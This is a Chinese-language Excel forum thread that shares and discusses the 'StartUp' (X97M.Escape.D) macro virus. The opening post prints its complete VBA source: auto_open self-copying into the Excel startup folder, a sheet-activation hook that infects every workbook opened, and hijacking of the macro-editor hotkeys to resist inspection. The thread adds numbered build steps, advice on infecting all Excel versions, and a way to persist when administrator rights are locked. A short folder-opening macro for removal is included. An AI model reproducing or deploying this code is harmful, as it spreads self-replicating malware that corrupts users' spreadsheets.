Board logo

標題: [分享] EXCEL巨集病毒案例("StartUp") [打印本頁]

作者: HUNGCHILIN    時間: 2011-1-12 20:59     標題: EXCEL巨集病毒案例("StartUp")

本帖最後由 HUNGCHILIN 於 2012-6-8 21:21 編輯

2012/6/8日以後EXCEL保護保密技巧帖不再設定閱讀權限

TO 各位夥伴:
StartUp病毒x97m.escape.d
這個不是病毒的病毒在2009年底與2010年初在 各大論壇造成很多困擾
中的人大部分都是VBA高手.大家都罵的要命
至今論壇上只會解除但都一直不知道其原理
就在此說明一二

此法經測試excel95~2010均可用2007以後檔案格式要轉換成xlsm檔
若是作成病毒感染,我會製成xls檔,然後用版本判別程式判斷,使用2007以後版本時會另存成xlsm檔案
這樣感染時各版本就會通用

注意此檔案,有檔案感染性:
1.執行此附件病毒後,請特別注意到Application.StartupPath 路徑資料夾清除 "StartUp.xls"檔案
如何解除,請執行下列程序會自動開啟存放路徑資料夾:
    Sub StartupPathA()
    '使用者電腦上Microsoft Excel 啟動資料夾的完整路徑。
    '設定引用項目Microsoft Shell Controls And Automation
    On Error GoTo Error1
    Dim mySh As Shell32.Shell
    Set mySh = CreateObject("Shell.Application")
    mySh.Explore Application.StartupPath  '任意的資料夾
    Set mySh = Nothing  '物件的釋放
    Error1: End Sub
    '(EXCEL2003版在這路徑,C:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)


2.請針對此帖內容與檔案保密,洩漏太多,對EXCEL世界會造成混亂
3.麻辣論檀版主群中曾有人中過此毒並在精英發問過,是非常好的問題,但此屬秘技中的秘技,沒人知道,
所以一直未得到正確的解答,在精英論檀中又是一懸案,我也一直沒有放出答案,就趁此次在此帖作網路上第一次正解原理說明

此檔案模組感染原理:
1.我想這樣大家就會知道,第2點這則連結要如何應用,
有危險、簡單、要設定權限[50]的原因

2.[原創] VBA列出工作表名稱時模組變成工作表且顯示非常隱藏 解答

執行效果:
1.使用此檔 此檔會自動另存 "StartUp.xls"檔案到Application.StartupPath 路徑資料夾
2.新增檔案與開啟舊檔都會自動移植入此感染模組,若不注意你所有使用過的EXCEL檔案都會受感染
3.病毒程式如下
-----------------------------------------------------------------------------------------------------
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

-----------------------------------------------------------------------------------------------------
P.S.
病毒作法步驟:
1.將上述程式碼COPY到 EXCEL 模組中
2.將模組名稱改為 results
3.[原創] VBA列出工作表名稱時模組變成工作表且顯示非常隱藏 解答
即可完成

[attach]4384[/attach]
[attach]4393[/attach]
作者: GBKEE    時間: 2011-1-13 19:29

回復 1# HUNGCHILIN
阿吉兄你說 StartupPath   (EXCEL2003版在這路徑,C:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
我是2003師生版  C:\Documents and Settings\hsu.HSUXP\Application Data\Microsoft\Excel\XLSTART   與你不一樣阿!
Application.OnSheetActivate 的方法 相當於 Workbook_SheetActivate的事件 ,但在不存在於2003版的說明中.
請問OnSheetActivate的說明開始於那一版本.
作者: HUNGCHILIN    時間: 2011-1-13 20:23

本帖最後由 HUNGCHILIN 於 2011-1-13 22:24 編輯

回復  HUNGCHILIN
阿吉兄你說 StartupPath   (EXCEL2003版在這路徑,C:\Users\HUNGCHILIN\AppData\Roamin ...
GBKEE 發表於 2011-1-13 19:29



GBKEE兄您好

首先真的謝謝您發言,因為最近各大OFFICE網站,都很悶,都沒人要發言,沒新東西、話題
,所以我近期一直放一些好玩的東西跟大家討論,讓大家熱絡一點,
我又不想把此技術放到大陸網站。

首先說明:

1.病毒存放路徑我們知道是隨意的,要放那裡就那裡。
2.但EXCEL有許多個系統預設路徑,所以不只是上述StartupPath 系統預設路徑,而是有很多個,這只是取其中一種。
3.下方是我撰寫的程序,是我常用的系統預設路徑,方便偵測病毒與測試自己的程式放入這些地方有何效果。


Option Explicit
Sub LibraryPathA()
'電腦上 COM 增益集的安裝路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.LibraryPath '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub UserLibraryPathA()
'使用者電腦上 COM 增益集的安裝路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.UserLibraryPath '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub ApplicationStartupPathA()
'Microsoft Excel 啟動資料夾的完整路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.Path & "\XLSTART\"  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub StartupPathA()
'使用者電腦上Microsoft Excel 啟動資料夾的完整路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub TemplatesPathA()
'儲存範本所在的區域路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.TemplatesPath   '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub DefaultFilePathA()
'目前預設檔案路徑
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.DefaultFilePath  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub AltStartupPathA()
'替選的啟動檔案位置
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.AltStartupPath  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Sub AutoRecoverPathA()
'自動回復檔案的路徑
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.AutoRecover.Path  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub


4.必須要特別說明下列4個系統預設路徑
     甲 Application.LibraryPath '電腦上 COM 增益集的安裝路徑
     乙 Application.UserLibraryPath '使用者電腦上 COM 增益集的安裝路徑
------------------------------------------------------------------------------------
     丙 Application.Path & "\XLSTART\" 'Microsoft Excel 啟動資料夾的完整路徑
     丁 Application.StartupPath  '使用者電腦上Microsoft Excel 啟動資料夾的完整路徑
------------------------------------------------------------------------------------
觀念要從定義由小而大說起
定義可分成
1.隱藏與非隱藏
2.依開啟與使用SHEET還可再分成自動啟用與非自動啟用兩種
3.依使用中SHEET還可再分成私用與公用
4.依使用中區域還可再分成絕對相對與共用三種

5.近期託您的福氣,還發現在定義中"建立名稱"=Book1!Module1.Macro1規則時,可使用巨集執行畫面,直接"輸入定義名稱"來執行巨集
而不用使用巨集表的定義畫面來設定巨集型定義

重點:EXCEL有私用與公用定義>>>EXCEL有私用與公用 自動啟動活頁簿>>>EXCEL有私用與公用 增益集
EXCEL有私用與公用定義 我們已經知道,那什麼是EXCEL有私用與公用 自動啟動活頁簿、EXCEL有私用與公用 增益集,這牽涉到WINDOWS使用者的部份,在WINDOWS登入使用者我們知道,有一種是全部使用者都可以使用的程式,有一種是只有單一登入使用者可以使用的程式,這就是"EXCEL有私用與公用自動啟動活頁簿、增益集"的差異。
------------------------------------------------------------------------------------
而您所詢問的(問題一)
StartupPath   (EXCEL2003版在這路徑,C:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
我是2003師生版  C:\Documents and Settings\hsu.HSUXP\Application Data\Microsoft\Excel\XLSTART   與你不一樣阿!

Application.StartupPath  這是使用者電腦上Microsoft Excel 啟動資料夾的完整路徑,使用此路徑代表只有這個登入者可使用此檔,若使用Application.UserLibraryPath也是差不多原理,只有這個登入者可使用此增益集,所以上面的HUNGCHILIN是我的電腦的登入者帳號名,每個登入者都不一樣,所以我附上程式。

那使用私用區有何好處:
     A.同一台電腦,只有某幾個使用者可使用
     B.當公司個人電腦Administrator被鎖住時,我們不能存任何檔到公用路徑給全部的登入者用因為被鎖了,只能另存到私用路徑自己用
     故此檔我們用私用路徑,就算公司個人電腦Administrator被鎖住,還是有機會存到個人區持續感染。
作者: HUNGCHILIN    時間: 2011-1-13 21:54

本帖最後由 HUNGCHILIN 於 2011-1-13 22:10 編輯

而您所詢問的(問題二)
Application.OnSheetActivate 的方法 相當於 Workbook_SheetActivate的事件 ,但在不存在於2003版的說明中.請問OnSheetActivate的說明開始於那一版本.

這個部份是早期EXCEL4.3版時的VBA使用方式
EXCEL5.0版時是擴充可以使用多頁SHEET與VBA語言
EXCEL97(8.0)以後VBA開發環境更新加強

具體說明
OnSheetActivate 的方法
應用於
Application、Chart、DialogSheet、Module、Workbook、Worksheet

描述
傳回或設定當使用者啟動下列各項時,所執行的巨集名稱:指定的工作表(為 Chart、DialogSheet、Module 或 Worksheet 物件)、指定之活頁簿內的任何工作表(為 Workbook 物件)或任何開啟之活頁簿內的工作表(為 Application 物件)。此為可讀寫屬性。

語法
object.OnSheetActivate

元素
object
此為必要元素;為此屬性應用的物件。
作者: GBKEE    時間: 2011-1-16 15:37

回復 4# HUNGCHILIN
謝謝你的回答,真是太詳細了.
作者: HUNGCHILIN    時間: 2011-1-16 22:58

本帖最後由 HUNGCHILIN 於 2011-1-16 23:05 編輯

測試可感染所有EXCEL版本的檔案,只隨便加一個版本判斷程式,程式並沒有優化與特別減少重覆之程式
帳號"OFFICE專家":是我的另一個帳號
此技巧複合這技巧變這樣如附件
[原創] 自動開啟的檔中檔技巧
用這方法,很難預測感染程式放在那個位置




[attach]4415[/attach]
作者: Scott090    時間: 2013-5-6 18:14

真複雜也學習很多,謝謝大師
作者: wufonna    時間: 2013-9-12 18:06

請問 大大 excel vba 中 ,可不可以插入組合語言碼或機械碼
謝謝
作者: luhpro    時間: 2014-11-2 20:15

2012/6/8日以後EXCEL保護保密技巧帖不再設定閱讀權限
TO 各位夥伴:
StartUp病毒x97m.escape.d
這個不 ...
HUNGCHILIN 發表於 2011-1-12 20:59

1# 的 EXCEL感染型毒.rar (8.09 KB)
  1. 麻辣家族討論版版 提示信息
  2. --------------------------------------------------------------------------------
  3. 附件文件不存在或無法讀入,請與管理員聯繫。
複製代碼
謝謝.




歡迎光臨 麻辣家族討論版版 (http://forum.twbts.com/)